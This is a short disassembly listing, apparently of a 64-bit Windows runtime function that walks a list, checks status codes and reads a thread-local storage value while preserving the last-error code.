cmp eax, 6
je 0x40cd30
cmp eax, 8
jne 0x40cd63
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
test rax, rax
mov qword [rsp + 0x38], rax
jne 0x40cca1
mov eax, 5
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
call fcn.0040c880
mov eax, dword [0x004da068]
mov rsi, qword [0x00511958]
test eax, eax
je 0x40cc8f
mov esi, dword [0x00511950]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x40cc8f
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x34]
mov rdx, rdi
mov rcx, rbx
mov qword [rbx + 0x10], 0
mov qword [rsp + 0x38], rsi
mov qword [rbx + 0x18], rax
call fcn.0040c790
cmp eax, 7
jne 0x40cce6
mov rcx, rdi
call fcn.0040c910
mov eax, 3
jmp 0x40cce6